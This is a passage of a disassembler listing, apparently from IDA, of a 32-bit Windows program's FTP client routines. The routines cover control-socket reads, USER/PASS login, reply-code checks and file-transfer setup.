; ---------------------------------------------------------------------------


loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44544068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh
		dd 83F08B90h, 0F33B08C4h, 38681E75h, 0E8004454h, 7780A436h
		dd 4C48390h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0FA2DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 54386824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3DC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3DC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445230 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3DC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CE4
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h
		dd 0C4815B5Eh, 100h, 248C8BC3h,	114h, 0A5E85153h, 83FFFFF8h
		dd 5E5F08C4h, 0C4815Bh,	0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_445504
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454FC ; jumptable 0042D351 case 1
		mov	dl, byte_445500
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454F4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454F8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454EC ; jumptable 0042D351 case 3
		mov	al, byte_4454F0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454E4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454E8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
